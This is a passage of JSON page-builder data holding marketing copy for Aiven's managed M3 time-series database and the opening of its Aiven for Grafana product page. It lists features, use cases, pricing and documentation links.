save resources on your M3DB cluster so you can scale the aggregation part independently of the database cluster."}],"markDefs":[],"style":"normal"},{"_key":"39a22ab23126","_type":"block","children":[{"_key":"6f2f1dbeaaee0","_type":"span","marks":[],"text":"With Aiven for M3, you can easily deploy M3 as a monitoring backend for our portfolio of fully managed services. With out-of-the-box support for the most popular protocols (including Prometheus), and various integration and interface options, our M3 as a service is ready to handle your time stamped data requirements, or horizontally scale your Prometheus monitoring solution. "}],"markDefs":[],"style":"normal"},{"_key":"8e841d062f7c","_type":"block","children":[{"_key":"20197a41238d0","_type":"span","marks":["66c0ef43edc7"],"text":"An introduction to M3 (blog)"}],"markDefs":[{"_key":"66c0ef43edc7","_type":"internalLink","internalLink":{"_ref":"2CXbr629zjZaIp4ylrhkzD","_type":"reference"}}],"style":"normal"},{"_key":"74bdb8fe96e6","_type":"block","children":[{"_key":"26870d78e7df0","_type":"span","marks":["14eda9e2d2af"],"text":"Aiven for M3 (docs)"}],"markDefs":[{"_key":"14eda9e2d2af","_type":"link","href":"https://aiven.io/docs/products/m3db"}],"style":"normal"}]}],"subtitle":[{"_key":"554896211791","_type":"block","children":[{"_key":"aec66044de420","_type":"span","marks":[],"text":"M3 is the ideal solution for high-volume, high cardinality, timestamped data. It’s perfect as a metrics database for monitoring solutions, or anywhere where there’s a high volume of data produced at high frequency. And with Aiven, you can deploy M3 and scale up your existing architecture in minutes."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is M3?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"4edce3fd736a","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"m3"},{"_key":"61e34931eee60363c092e7021df8ae2d","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":false,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-48a5eaf5ac24cd0c591518a769ac4df8e604ad2d-100x100-svg","_type":"reference"}},"infoBanner":{"_ref":"8d361c52-eeae-4e5c-a120-79866cc4c1c7","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"vertical"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0ca3c7831c13","_type":"block","children":[{"_key":"4835d23bf00b0","_type":"span","marks":[],"text":"M3 Aggregator allows you to incorporate and replicate aggregated data in your architecture, and scale it independently from your M3DB cluster."}],"markDefs":[],"style":"normal"}],"title":"Independent scaling. Replicated aggregations."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3d6b06081757","_type":"block","children":[{"_key":"6aab0045abb20","_type":"span","marks":[],"text":"From the first line of code Aiven managed services are built secure. With dedicated VM’s and daily backups, you know your time stamped data is safe with Aiven."}],"markDefs":[],"style":"normal"}],"title":"Unmatched performance. Plus Aiven reliability."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3646150a7b8c","_type":"block","children":[{"_key":"5cded86c159b0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades? We’ll take care of them for you so that you can focus on putting your data to work."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for M3 comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers everything, and you can scale up (or down) whenever you need."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"03dd9d5f53c1","_type":"block","children":[{"_key":"cc94e24d9b570","_type":"span","marks":[],"text":"Aiven makes it easy to deploy a time series production cluster in minutes.  Increase your servers, storage, perform an upgrade or migrate to a different cloud provider at the push of a button, with zero downtime."}],"markDefs":[],"style":"normal"},{"_key":"b71be1fd68f8","_type":"block","children":[{"_key":"4ac8e5fa0f460","_type":"span","marks":[],"text":"When it comes to offering a full set of features, interoperability, scalability, ease of use and all-inclusive pricing, there’s really nothing better than Aiven for M3."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of M3 TSDB as a service from Aiven","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"782365ddf63d","_type":"block","children":[{"_key":"9e1acfca9b500","_type":"span","marks":[],"text":"With the increasing amount of IoT deployments, the amount of data produced by connected water, energy, temperature meters, health monitors, and wearable tech is growing exponentially. M3’s highly scalable database architecture is a perfect fit for high cardinality data."}],"markDefs":[],"style":"normal"}],"title":"IoT Deployments","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"46b5cdc28d45","_type":"block","children":[{"_key":"b6b99de61ef40","_type":"span","marks":[],"text":"Aiven for M3 excels at large-scale monitoring. By combining it with monitoring, logging, analysis, diagnosis and alerting tools (including Grafana® and OpenSearch®) it can be used to build a fully integrated observability platform to keep your system operating smoothly."}],"markDefs":[],"style":"normal"}],"title":"Observability","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"416c32a6d811","_type":"block","children":[{"_key":"19270e24b37e0","_type":"span","marks":[],"text":"A typical standard Prometheus environment includes a single-server database that doesn't scale. With Aiven for M3 as a drop-in replacement (thanks to its Prometheus interface support) you can get unlimited scalability with just a few clicks."}],"markDefs":[],"style":"normal"}],"title":"Supersized monitoring","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use M3"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for M3","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-2258a387b3c938a27d826e804d789c6507e8d2f2-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"93a65cde0e77","_type":"block","children":[{"_key":"bcf3d50240c20","_type":"span","marks":[],"text":"Fully managed M3DB clusters up and running in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b5abc1ae30d","_type":"block","children":[{"_key":"de7b316094b50","_type":"span","marks":[],"text":"Deploy to AWS, GCP or Azure, in over 70 regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8f064830592f","_type":"block","children":[{"_key":"85971def3f070","_type":"span","marks":[],"text":"Unlimited scalability, high availability and multi AZ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45c871bf26cf","_type":"block","children":[{"_key":"c63d1d5c40f30","_type":"span","marks":[],"text":"Low storage requirements using efficient data compression and aggregation, with M3 Aggregator as an add-on service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-6fddd8c1435ca320a7b8a0357a180edc404fbab5-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"0c8270cdb72c","_type":"block","children":[{"_key":"daec096a22fd0","_type":"span","marks":[],"text":"Support for Prometheus, Influx and Graphite protocols"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d59e3fe1b22","_type":"block","children":[{"_key":"29d451614ce70","_type":"span","marks":["24750eedb829"],"text":"Integrate with Aiven for Grafana®"},{"_key":"29d451614ce71","_type":"span","marks":[],"text":" for visualizations, and "},{"_key":"29d451614ce72","_type":"span","marks":["907cc12ee5c4"],"text":"Prometheus"},{"_key":"29d451614ce73","_type":"span","marks":[],"text":" as remote storage"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"24750eedb829","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/howto/grafana"},{"_key":"907cc12ee5c4","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/howto/prometheus-storage"},{"_key":"41bbbc18a330","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"}],"style":"normal"},{"_key":"f84711644c57","_type":"block","children":[{"_key":"1e23315eca8f","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"8e99d044b7de1","_type":"span","marks":["41bbbc18a330"],"text":"VPC peering"},{"_key":"8e99d044b7de2","_type":"span","marks":[],"text":" or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41bbbc18a330","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"}],"style":"normal"},{"_key":"c81f0f48dc9f","_type":"block","children":[{"_key":"ab2a3aeed7da0","_type":"span","marks":["41fb93145ca1"],"text":"Integrate"},{"_key":"9f72d1595497","_type":"span","marks":[],"text":" with your favorite observability tooling or use Aiven observability tools for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41fb93145ca1","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"1184c872c6e8","_type":"block","children":[{"_key":"9ce4a64138430","_type":"span","marks":[],"text":"Receive metrics from other Aiven services, and monitor their health with pre-built dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-fd540c57bdfbffe016558ec5c484ee584c44280e-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"8daca57f9d51","_type":"block","children":[{"_key":"6a8cb5c943030","_type":"span","marks":[],"text":"Manage your M3 cluster using Aiven Console (GUI), CLI or "},{"_key":"6a8cb5c943031","_type":"span","marks":["2991502e95d0"],"text":"Terraform"},{"_key":"6a8cb5c943032","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2991502e95d0","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"1764f86a1660","_type":"block","children":[{"_key":"3d551349de420","_type":"span","marks":[],"text":"Scale, fork databases, integrate to other services with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd2698e3c96a","_type":"block","children":[{"_key":"f07de6054e830","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e26aac50666","_type":"block","children":[{"_key":"52d77e9c8c710","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"696e451e8826","_type":"block","children":[{"_key":"870db77893220","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b4c04fe8edca","_type":"block","children":[{"_key":"d63c159f7a570","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9e6bba7473d0","_type":"block","children":[{"_key":"4c6d535e88f70","_type":"span","marks":[],"text":"Automatic daily backups, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d2094c2ff4ab","_type":"block","children":[{"_key":"70f1c895bdec0","_type":"span","marks":["ce7e63212787"],"text":"Secure and compliant solution"},{"_key":"48b7b8f56588","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ce7e63212787","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"7188d28416567597ad486c67f88734a1","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},"subtitle":[{"_key":"da8d95929410","_type":"block","children":[{"_key":"4861e9a97a21","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"20b89b390879","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"04b7cc96cd0e","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=m3db\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"c810a0758d42","_type":"block","children":[{"_key":"fe30898067910","_type":"span","marks":[],"text":"Starting at just $200 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime – at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"860447a9c100","_type":"block","children":[{"_key":"b66134c9bd110","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for M3 pricing: Pay only for what you use."},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/m3db","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"70ed1c203369","_type":"block","children":[{"_key":"58e40df4fa100","_type":"span","marks":[],"text":"Getting started with Aiven for M3 and Aiven for M3 Aggregator, including core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"60eaa51436e1","_ref":"2CXbr629zjZaIp4ylrhkzD","_type":"reference"},{"_key":"e8431ad39abf","_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for M3"}],"seo":{"_type":"metaData","metaDescription":"Aiven for M3 – fully managed, maintenance-free time series database ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-bec52bae2265ff940e0f5ca3ef603648105f4d43-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for M3\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed M3, M3 as a service, Cloud M3\",\n \"description\": \"Aiven for M3, is a fully managed, distributable metrics platform that is deployable on Google Cloud Platform and Amazon Web Services.\",\n \"featureList\": \"Available in Google Cloud Platform, Available in Amazon Web Services\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/m3db\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed time series database\",\n \"applicationSubCategory\": \"Database\"\n}","metaTitle":"Managed M3DB | Aiven"},"service":{"_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},"slug":{"_type":"slug","current":"/m3"},"title":"M3"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"42c18edd-bcf8-4b56-8150-12787a872b60__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T14:52:30Z","_id":"42c18edd-bcf8-4b56-8150-12787a872b60","_rev":"whpRLkwvxva49hcLZ6b0Pp","_type":"product","_updatedAt":"2025-01-15T15:43:22Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Grafana®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"b3b26034b285","_type":"block","children":[{"_key":"bbd986af41d30","_type":"span","marks":[],"text":"Get Grafana as a fully managed service to observe your metrics data and alert on events. Snap ready-made dashboards into your monitoring workflows and get the big picture on your systems."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"bc8376257e6c","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"3b13c79fd2d2","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"cea754b62877","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-a7d7e89a6ced5d5b7781ea776b37e58048dd0da4-1454x1144-png","_type":"reference"}},"imageSize":"default","isImageLarge":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/grafana","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/grafana","title":"See docs"},"title":"Aiven for Grafana®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Grafana®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"e5881eea7857","_type":"block","children":[{"_key":"23dc3156adc80","_type":"span","marks":[],"text":"Get an overview of your systems, metrics and data – with Grafana"}],"markDefs":[],"style":"h3"},{"_key":"944b6c8908f1","_type":"block","children":[{"_key":"edd0d7994e1e0","_type":"span","marks":[],"text":"Aiven for Grafana® provides a fully managed, open source monitoring, visualizing and alerting suite for your metrics. Ready made, customizable dashboards and plug and play integrations help you maintain smooth operations for entire systems."}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"defc35daacfb","_type":"block","children":[{"_key":"c13963745c0a0","_type":"span","marks":["6506fd36dc23"],"text":"What is Grafana? (blog)"}],"markDefs":[{"_key":"6506fd36dc23","_type":"internalLink","internalLink":{"_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"}}],"style":"normal"},{"_key":"acdbdb512b54","_type":"block","children":[{"_key":"fd5cc71c4e710","_type":"span","marks":["b6ebcd943078"],"text":"Get started with Aiven for Grafana (docs)"}],"markDefs":[{"_key":"b6ebcd943078","_type":"link","href":"https://aiven.io/docs/products/grafana"}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"6ac1321eb83a","_type":"block","children":[{"_key":"9dd7c5e273230","_type":"span","marks":[],"text":"Visualize data in your integrated Aiven services"}],"markDefs":[],"style":"h3"},{"_key":"acd7800d58b7","_type":"block","children":[{"_key":"7b137f25e2ef0","_type":"span","marks":[],"text":"One-click integration to data stored in Aiven services for PostgreSQL®, ClickHouse®, M3, and OpenSearch®. Build visual dashboards to gain insights on your data - such as IoT telemetry, business metrics, and more. Additional data source plugins are also available for non-Aiven databases."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"bf9d55eca6bb","_type":"block","children":[{"_key":"510d75c66b2d","_type":"span","marks":["e425d2154367"],"text":"Get started with Aiven for Grafana (docs)"}],"markDefs":[{"_key":"e425d2154367","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"c6a9b7e40099","_type":"block","children":[{"_key":"9dc48755a7f40","_type":"span","marks":["4bf3afe03c43"],"text":"Metrics and graphs with M3 and Grafana (blog)"}],"markDefs":[{"_key":"4bf3afe03c43","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"8c7fd7d71162","_type":"block","children":[{"_key":"d1f7c7fe86b30","_type":"span","marks":[],"text":"Integrate with your favorite external logging and monitoring tools"}],"markDefs":[],"style":"h3"},{"_key":"0c44740d986a","_type":"block","children":[{"_key":"48d93931ddc10","_type":"span","marks":[],"text":"Snap in external logging tools with our easy integrations, including Prometheus, Jolokia and Datadog. Or enhance your monitoring and logging with OpenSearch, External Elasticsearch and more."}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"f5ea1e192bb0","_type":"block","children":[{"_key":"834c8cbcaf2e0","_type":"span","marks":["72a740085fe3"],"text":"Integrations and connectors"}],"markDefs":[{"_key":"72a740085fe3","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"cf5ace7e1a5f","_type":"block","children":[{"_key":"13493fe673490","_type":"span","marks":["3cb11d0f2bd3"],"text":"Metrics and graphs with M3 and Grafana (blog)"}],"markDefs":[{"_key":"3cb11d0f2bd3","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"ac0a179fb39a","_type":"block","children":[{"_key":"61940b6ebc200","_type":"span","marks":[],"text":"Monitor the health of your entire Aiven data pipeline"}],"markDefs":[],"style":"h3"},{"_key":"43edc0e8f33c","_type":"block","children":[{"_key":"f90ecf594c14","_type":"span","marks":[],"text":"All Aiven services have built-in capability to push metrics data to M3 or PostgreSQL databases. Aiven for Grafana includes ready-made, automatically configured dashboards to visualize this data, so you can easily monitor the health of all your Aiven services. And alerting makes sure you’re always kept informed at the first sign of trouble."}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"2671bdd35e6c","_type":"block","children":[{"_key":"55bb7a5462da0","_type":"span","marks":["1cc673beabf6"],"text":"Get started with Aiven for Grafana (docs)"}],"markDefs":[{"_key":"1cc673beabf6","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"49142b767793","_type":"block","children":[{"_key":"98ad2fb9d2911","_type":"span","marks":["a6ea80c7d0fa"],"text":"Metrics and graphs with M3 and Grafana (blog)"}],"markDefs":[{"_key":"a6ea80c7d0fa","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"0c3b019036b8","_type":"block","children":[{"_key":"0d58c01ab9fb0","_type":"span","marks":[],"text":"Set up fully managed Grafana in less than 10 minutes — directly from our web console or programmatically via our API, CLI or Terraform provider. Create smart visualizations and alerting rules for all kinds of metrics. Includes integrations and pre-built dashboards for monitoring the health of your Aiven services."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"How does Aiven for Grafana® 